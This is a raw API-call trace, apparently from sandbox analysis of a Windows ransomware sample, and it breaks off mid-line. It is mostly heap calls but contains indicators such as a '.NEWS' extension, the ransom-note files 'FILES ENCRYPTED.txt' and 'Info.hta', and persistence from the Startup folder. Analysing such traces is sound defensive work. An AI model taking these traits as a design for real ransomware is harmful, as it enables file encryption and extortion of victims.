[0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b66c0 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b67b0 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b67c8 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6600 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65d0 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6648 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6810 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6828 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6858 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6948 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6990 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6b70 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6960 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6978 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b69a8 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6a50 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6918 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6a80 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6ae0 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b69c0 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b69d8 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6b58 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b69f0 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6a08 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b6a68 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12) returned 0x676298 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6a98 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6a20 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6ac8 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6a38 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6af8 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6b10 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6b28 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6b40 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6ab0 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68b8 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6888 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68a0 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68d0 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68e8 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6900 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6930 [0190.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b78e0 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7928 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7988 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7ad8 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7b50 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b78b0 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7aa8 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b7ac0 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7b08 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e1d0 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7a00 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e1f0 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b78f8 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7b38 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7a78 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7b80 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7b68 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b78c8 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7af0 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7a90 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b79a0 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7b20 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7898 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7910 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7940 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7a48 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e090 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7958 [0190.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b79b8 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b7160, Size=0x800) returned 0x6b7d70 [0190.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4d48 | out: hHeap=0x660000) returned 1 [0190.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8980 | out: hHeap=0x660000) returned 1 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e170, Size=0x8) returned 0x69e290 [0190.624] lstrlenW (lpString=".NEWS") returned 5 [0190.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8ae8 | out: hHeap=0x660000) returned 1 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8920, Size=0x20) returned 0x69de18 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de18, Size=0x40) returned 0x677910 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677910, Size=0x80) returned 0x6c53c0 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e170, Size=0x8) returned 0x69e2c0 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e2c0, Size=0x10) returned 0x6b8ab8 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8ab8, Size=0x20) returned 0x69dd50 [0190.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c53c0 | out: hHeap=0x660000) returned 1 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b89e0, Size=0x20) returned 0x69de40 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de40, Size=0x40) returned 0x677760 [0190.624] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0190.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677760 | out: hHeap=0x660000) returned 1 [0190.624] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8980, Size=0x20) returned 0x69dd78 [0190.624] lstrlenW (lpString="Info.hta") returned 8 [0190.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd78 | out: hHeap=0x660000) returned 1 [0190.625] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d5d48, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x77 [0190.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5d48 | out: hHeap=0x660000) returned 1 [0190.625] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.625] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dd50, Size=0x40) returned 0x677c28 [0190.625] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8980, Size=0x20) returned 0x69de18 [0190.626] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8ad0, Size=0x20) returned 0x69dd50 [0190.626] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dd50, Size=0x40) returned 0x677910 [0190.626] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677910, Size=0x80) returned 0x6c5c40 [0190.626] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5c40, Size=0x100) returned 0x6a3678 [0190.626] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.626] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3678 | out: hHeap=0x660000) returned 1 [0190.626] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6d5d48, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0190.626] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5d50 | out: hHeap=0x660000) returned 1 [0190.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5d48 | out: hHeap=0x660000) returned 1 [0190.628] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e380, Size=0x8) returned 0x69e3b0 [0190.628] lstrlenW (lpString="%windir%;") returned 9 [0190.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69de18 | out: hHeap=0x660000) returned 1 [0190.628] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0190.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5d40 | out: hHeap=0x660000) returned 1 [0190.629] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8b90, Size=0x20) returned 0x69deb8 [0190.629] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69deb8, Size=0x40) returned 0x677a30 [0190.629] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677a30, Size=0x80) returned 0x6c5668 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5668, Size=0x100) returned 0x6a3678 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e2c0, Size=0x8) returned 0x69e250 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e250, Size=0x10) returned 0x6b88a8 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b88a8, Size=0x20) returned 0x69dd50 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e2d0, Size=0x8) returned 0x69e3a0 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e2a0, Size=0x8) returned 0x69e2d0 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e300, Size=0x8) returned 0x69e390 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e390, Size=0x10) returned 0x6b8980 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8980, Size=0x20) returned 0x69dd78 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e3a0, Size=0x10) returned 0x6b8980 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e2d0, Size=0x10) returned 0x6b8b78 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e270, Size=0x8) returned 0x69e2d0 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e2e0, Size=0x8) returned 0x69e360 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8980, Size=0x20) returned 0x69de18 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8b78, Size=0x20) returned 0x69dda0 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e250, Size=0x8) returned 0x69e2e0 [0190.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3678 | out: hHeap=0x660000) returned 1 [0190.630] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b89e0, Size=0x20) returned 0x69ddc8 [0190.631] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6c5d40, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0190.631] lstrlenW (lpString="C:\\") returned 3 [0190.631] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5d40 | out: hHeap=0x660000) returned 1 [0190.632] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e390, Size=0x82) returned 0x6a3708 [0190.632] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e250, Size=0x100) returned 0x6a3798 [0190.633] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3708, Size=0x104) returned 0x6b7280 [0190.633] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3798, Size=0x200) returned 0x6b4d48 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69e3d0 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4d48 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8c80 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5910 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8c08 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5998 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8d28 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b7280 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8c20 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b7160 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8cb0 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b71f0 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8d58 | out: hHeap=0x660000) returned 1 [0190.634] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8d28, Size=0x20) returned 0x69ddf0 [0190.634] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69ddf0, Size=0x40) returned 0x6779e8 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69e320 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b89e0 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3678 | out: hHeap=0x660000) returned 1 [0190.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8cc8 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5338 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8c68 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69e380 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8bf0 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676ae8 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676558 | out: hHeap=0x660000) returned 1 [0190.635] lstrlenW (lpString="%systemdrive%") returned 13 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69ddc8 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5118 | out: hHeap=0x660000) returned 1 [0190.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69e300 | out: hHeap=0x660000) returned 1 [0190.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6a4d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8bc0, Size=0x20) returned 0x69de40 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de40, Size=0x40) returned 0x677958 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677958, Size=0x80) returned 0x6c5910 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5910, Size=0x100) returned 0x6a3678 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3678, Size=0x200) returned 0x6a3678 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3678, Size=0x400) returned 0x6b7160 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b7160, Size=0x800) returned 0x6b4d48 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b4d48, Size=0x1000) returned 0x6b4d48 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e380, Size=0x8) returned 0x69e320 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e320, Size=0x10) returned 0x6b8bf0 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8bf0, Size=0x20) returned 0x69ddc8 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69ddc8, Size=0x40) returned 0x677a30 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677a30, Size=0x80) returned 0x6c5aa8 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5aa8, Size=0x100) returned 0x6a3678 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3678, Size=0x200) returned 0x6a3678 [0190.639] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3678, Size=0x400) returned 0x6b7160 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b7160, Size=0x800) returned 0x6bd1a0 [0190.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4d48 | out: hHeap=0x660000) returned 1 [0190.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6bd120 | out: hHeap=0x660000) returned 1 [0190.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6bd180 | out: hHeap=0x660000) returned 1 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bd120, Size=0x20) returned 0x69ddc8 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69ddc8, Size=0x40) returned 0x677c70 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677c70, Size=0x80) returned 0x6c55e0 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbec0, Size=0x8) returned 0x6bbdd0 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbdd0, Size=0x10) returned 0x6bd120 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bd120, Size=0x20) returned 0x69de40 [0190.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c55e0 | out: hHeap=0x660000) returned 1 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc2f8, Size=0x20) returned 0x69de90 [0190.640] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de90, Size=0x40) returned 0x677c70 [0190.640] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0190.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677c70 | out: hHeap=0x660000) returned 1 [0190.641] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc358, Size=0x20) returned 0x69de90 [0190.641] lstrlenW (lpString="Info.hta") returned 8 [0190.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69de90 | out: hHeap=0x660000) returned 1 [0190.641] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6e5d68, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x77 [0190.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5d68 | out: hHeap=0x660000) returned 1 [0190.642] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.642] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de40, Size=0x40) returned 0x677c70 [0190.642] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc2e0, Size=0x20) returned 0x69de40 [0190.642] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc358, Size=0x20) returned 0x69de90 [0190.642] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de90, Size=0x40) returned 0x677a30 [0190.642] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677a30, Size=0x80) returned 0x6c51a0 [0190.642] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c51a0, Size=0x100) returned 0x6a36f8 [0190.642] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a36f8 | out: hHeap=0x660000) returned 1 [0190.643] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6e5d68, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0190.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5d70 | out: hHeap=0x660000) returned 1 [0190.769] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5d68 | out: hHeap=0x660000) returned 1 [0190.769] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbdd0, Size=0x8) returned 0x6bbef0 [0190.770] lstrlenW (lpString="%windir%;") returned 9 [0190.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69de40 | out: hHeap=0x660000) returned 1 [0190.770] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0190.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5d60 | out: hHeap=0x660000) returned 1 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc1d8, Size=0x20) returned 0x69de40 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de40, Size=0x40) returned 0x6c3de8 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c3de8, Size=0x80) returned 0x6c5090 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5090, Size=0x100) returned 0x6a36f8 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbe50, Size=0x8) returned 0x6bbf60 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf60, Size=0x10) returned 0x6bc220 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc220, Size=0x20) returned 0x69de40 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbe80, Size=0x8) returned 0x6bbf80 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbe60, Size=0x8) returned 0x6bbf10 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf40, Size=0x8) returned 0x6bbdf0 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbdf0, Size=0x10) returned 0x6a2f00 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2f00, Size=0x20) returned 0x69d990 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf80, Size=0x10) returned 0x6c1fc0 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf10, Size=0x10) returned 0x6c1db0 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf60, Size=0x8) returned 0x6bbf40 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbdd0, Size=0x8) returned 0x6bbde0 [0190.771] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c1fc0, Size=0x20) returned 0x69daf8 [0190.772] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c1db0, Size=0x20) returned 0x69db70 [0190.772] RtlReAllocateHeap 